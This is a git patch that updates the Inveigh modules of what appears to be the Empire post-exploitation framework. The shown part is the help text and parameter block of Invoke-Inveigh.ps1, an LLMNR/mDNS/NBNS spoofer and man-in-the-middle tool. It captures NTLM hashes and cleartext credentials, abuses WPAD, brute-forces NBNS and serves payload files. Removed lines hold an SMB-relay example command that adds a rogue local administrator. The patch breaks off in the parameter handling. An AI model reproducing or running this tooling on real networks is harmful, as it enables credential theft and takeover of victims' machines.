From 534218cf316acde604009baa79e30efecd3787c5 Mon Sep 17 00:00:00 2001 From: Kevin Robertson Date: Sun, 9 Apr 2017 16:37:51 -0400 Subject: [PATCH] Inveigh 1.3.1 Modules Sync with Inveigh 1.3.1. --- .../collection/Invoke-Inveigh.ps1 | 4493 ++++++++++++---- .../collection/Invoke-InveighBruteForce.ps1 | 1284 ----- .../lateral_movement/Invoke-InveighRelay.ps1 | 4633 +++++++++++++---- lib/modules/powershell/collection/inveigh.py | 265 +- .../collection/inveigh_bruteforce.py | 177 - .../lateral_movement/inveigh_relay.py | 143 +- 6 files changed, 7245 insertions(+), 3750 deletions(-) delete mode 100644 data/module_source/collection/Invoke-InveighBruteForce.ps1 delete mode 100644 lib/modules/powershell/collection/inveigh_bruteforce.py diff --git a/data/module_source/collection/Invoke-Inveigh.ps1 b/data/module_source/collection/Invoke-Inveigh.ps1 index 9f785b3..158ed67 100644 --- a/data/module_source/collection/Invoke-Inveigh.ps1 +++ b/data/module_source/collection/Invoke-Inveigh.ps1 @@ -2,196 +2,282 @@ function Invoke-Inveigh { <# .SYNOPSIS -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. +Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool with challenge/response +capture over HTTP/HTTPS/Proxy/SMB. .DESCRIPTION -Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: +Invoke-Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spooferman-in-the-middle tool with the following features: - IPv4 LLMNR/NBNS spoofer with granular control - NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB - Basic auth cleartext credential capture over HTTP/HTTPS + IPv4 LLMNR/mDNS/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/Proxy/SMB + Basic auth cleartext credential capture over HTTP/HTTPS/Proxy WPAD server capable of hosting a basic or custom wpad.dat file - HTTP/HTTPS server capable of hosting limited content + HTTP/HTTPS/Proxy server capable of hosting limited content Granular control of console and file output - Run time control - -.PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if -the SpooferIP parameter is not set. - -.PARAMETER SpooferIP -Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a -system other than the Inveigh host. - -.PARAMETER SpooferHostsReply -Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferHostsIgnore -Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsReply -Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferIPsIgnore -Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. - -.PARAMETER SpooferRepeat -Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user -challenge/response has been captured. - -.PARAMETER LLMNR -Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. - -.PARAMETER LLMNRTTL -Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. - -.PARAMETER NBNS -Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. - -.PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. - -.PARAMETER NBNSTypes -Default = 00,20: Comma separated list of NBNS types to spoof. -Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store and attached to port 443. If the script does not exit gracefully, execute -"netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" -in the cert store. - -.PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. - -.PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. - -.PARAMETER HTTPDir -Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. - -.PARAMETER HTTPDefaultFile -Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used -for wpad.dat requests. - -.PARAMETER HTTPDefaultEXE -Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. - -.PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. - -.PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. - -.PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. - -.PARAMETER WPADEmptyFile -Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. -Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when -using WPADIP, WPADPort, or WPADResponse. - -.PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. - -.PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. - -.PARAMETER WPADDirectHosts -Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the -defined proxy. - -.PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. Use PowerShell character escapes where necessary. - -.PARAMETER SMB -Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still -direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to -prevent login requests from being processed by the Inveigh host. + Run time and run count control + LLMNR/NBNS spoofer learning mode .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. - -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER SMBRelay -Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand -Command to execute on SMB relay target. - -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay - target after each packet is sent. +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. .PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. .PARAMETER ConsoleStatus -(Integer) Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions. .PARAMETER ConsoleUnique Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time console output is enabled. +.PARAMETER ElevatedPrivilege +Default = Auto: (Auto/Y/N) Set the privilege mode. Auto will determine if Inveigh is running with +elevated privilege. If so, options that require elevated privilege can be used. + .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must +also be enabled. + .PARAMETER FileUnique Default = Enabled: (Y/N) Enable/Disable outputting challenge/response hashes for only unique IP, domain/hostname, and username combinations when real time file output is enabled. -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type. This setting does not +apply to wpad.dat requests. NTLMNoESS turns off the 'Extended Session Security' flag during negotiation. + +.PARAMETER HTTPBasicRealm +Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPContentType +Default = text/html: Content type for HTTP/HTTPS/Proxy responses. Does not apply to EXEs and wpad.dat. Set to +"application/hta" for HTA files or when using HTA code with HTTPResponse. + +.PARAMETER HTTPDir +Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. + +.PARAMETER HTTPDefaultFile +Filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response file. This file will not be used for +wpad.dat requests. + +.PARAMETER HTTPDefaultEXE +EXE filename within the HTTPDir to serve as the default HTTP/HTTPS/Proxy response for EXE requests. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER HTTPResponse +Content to serve as the default HTTP/HTTPS/Proxy response. This response will not be used for wpad.dat requests. +This parameter will not be used if HTTPDir is set. Use PowerShell character escapes and newlines where necessary. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER Inspect +(Switch) Inspect LLMNR/mDNS/NBNS traffic only. With elevated privilege, SMB must be disabled with -smb if you do +not want NTLMv1/NTLMv2 captures over SMB. Without elevated privilege, the desired inspect listeners must be +enabled. + +.PARAMETER IP +Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing +if the SpooferIP parameter is not set. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER LLMNR +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: LLMNR TTL in seconds for the response packet. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER mDNS +Default = Disabled: (Y/N) Enable/Disable mDNS spoofing. + +.PARAMETER mDNSTTL +Default = 120 Seconds: mDNS TTL in seconds for the response packet. + +.PARAMETER mDNSTypes +Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251. +Types include QU = Query Unicast, QM = Query Multicast + +.PARAMETER NBNS +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSBruteForce +Default = Disabled: (Y/N) Enable/Disable NBNS brute force spoofer. + +.PARAMETER NBNSBruteForceHost +Default = WPAD: Hostname for the NBNS Brute Force spoofer. + +.PARAMETER NBNSBruteForcePause +Default = Disabled: (Integer) Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming +HTTP request is received. + +.PARAMETER NBNSBruteForceTarget +IP address to target for NBNS brute force spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: NBNS TTL in seconds for the response packet. + +.PARAMETER NBNSTypes +Default = 00,20: Comma separated list of NBNS types to spoof. +Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name .PARAMETER OutputStreamOnly Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams.Note that you will not see the various yellow warning messages if enabled. -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. +.PARAMETER Proxy +Default = Disabled: (Y/N) Enable/Disable proxy listener authentication captures. -.PARAMETER RunTime -(Integer) Set the run time duration in minutes. +.PARAMETER ProxyAuth +Default = NTLM: (Basic/NTLM/NTLMNoESS) Proxy listener authentication type. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8492: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. -.PARAMETER Inspect -(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. +.PARAMETER SMB +Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still +direct targets to the host system's SMB server. Block TCP ports 445/139 or kill the SMB services if you need to +prevent login requests from being processed by the Inveigh host. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferIP +IP address for LLMNR/mDNS/NBNS spoofing. This parameter is only necessary when redirecting victims to a system +other than the Inveigh host. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR/mDNS/NBNS. + +.PARAMETER SpooferLearning +Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out +LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the +hostname to a spoofing blacklist. + +.PARAMETER SpooferLearningDelay +(Integer) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through +SpooferLearning. + +.PARAMETER SpooferLearningInterval +Default = 30 Minutes: (Integer) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a +hostname that has already been checked if SpooferLearning is enabled. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user +challenge/response has been captured. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Number of NTLMv1/NTLMv2/cleartext captures to perform before auto-exiting. + +.PARAMETER RunTime +(Integer) Run time duration in minutes. .PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP/HTTPS listener authentication type for wpad.dat requests. +Setting to Anonymous can prevent browser login prompts. NTLMNoESS turns off the 'Extended Session Security' flag +during negotiation. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. + +.PARAMETER WPADDirectFile +Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. +Enabling this setting can reduce the amount of redundant wpad.dat requests. This parameter is ignored when +using WPADIP, WPADPort, or WPADResponse. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the +defined proxy. + +.PARAMETER WPADIP +Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used +with WPADPort. + +.PARAMETER WPADPort +Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be +used with WPADIP. + +.PARAMETER WPADResponse +wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort +are set. Use PowerShell character escapes where necessary. .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh @@ -211,7 +297,7 @@ Execute with the stealthiest options. .EXAMPLE Invoke-Inveigh -Inspect -Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. +Execute in order to only inpect LLMNR/mDNS/NBNS traffic. .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N @@ -220,24 +306,7 @@ useful for sending traffic to a controlled Linux system on another subnet. .EXAMPLE Invoke-Inveigh -HTTPResponse "" -Execute specifying an HTTP redirect response. - -.EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. - -.NOTES -1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. -3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. -4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. -5. HTTP challenge/response captures are performed with a dedicated listener. -6. The local LLMNR/NBNS services do not need to be disabled on the host system. -7. LLMNR/NBNS spoofer will point victims to host system's SMB service, keep account lockout scenarios in mind. -8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. -9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. -10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. +Execute specifying an HTTP redirect response. .LINK https://github.com/Kevin-Robertson/Inveigh @@ -247,63 +316,88 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SpooferHostsReply="", - [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore="", - [parameter(Mandatory=$false)][Array]$SpooferIPsReply="", - [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$ConsoleStatus="", - [parameter(Mandatory=$false)][Int]$LLMNRTTL="30", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPDefaultFile="", - [parameter(Mandatory=$false)][String]$HTTPDefaultEXE="", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$SMBRelayCommand="", + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", + [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "Firefox", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", + [parameter(Mandatory=$false)][Int]$mDNSTTL = "120", + [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", + [parameter(Mandatory=$false)][Int]$NBNSBruteForcePause = "", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunCount = "", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$WPADPort = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", + [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", + [parameter(Mandatory=$false)][String]$HTTPContentType = "text/html", + [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", + [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", + [parameter(Mandatory=$false)][String]$HTTPResponse = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$NBNSBruteForceHost = "WPAD", + [parameter(Mandatory=$false)][String]$WPADResponse = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$mDNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNSBruteForce = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADDirectFile = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Auto","Y","N")][String]$ElevatedPrivilege = "Auto", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$HTTPAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("QU","QM")][Array]$mDNSTypes = @("QU"), + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), + [parameter(Mandatory=$false)][ValidateSet("Basic","NTLM","NTLMNoESS")][String]$ProxyAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM","NTLMNoESS")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", [parameter(Mandatory=$false)][Switch]$Inspect, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$NBNSBruteForceTarget = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) { - throw "$($invalid_parameter) is not a valid parameter." + Write-Output "Error:$($invalid_parameter) is not a valid parameter" + throw } +$inveigh_version = "1.3.1" + if(!$IP) { $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) @@ -314,36 +408,13 @@ if(!$SpooferIP) $SpooferIP = $IP } -if($SMBRelay -eq 'Y') -{ - - if(!$SMBRelayTarget) - { - throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" - } - - if(!$SMBRelayCommand) - { - throw "You must specify an -SMBRelayCommand if enabling 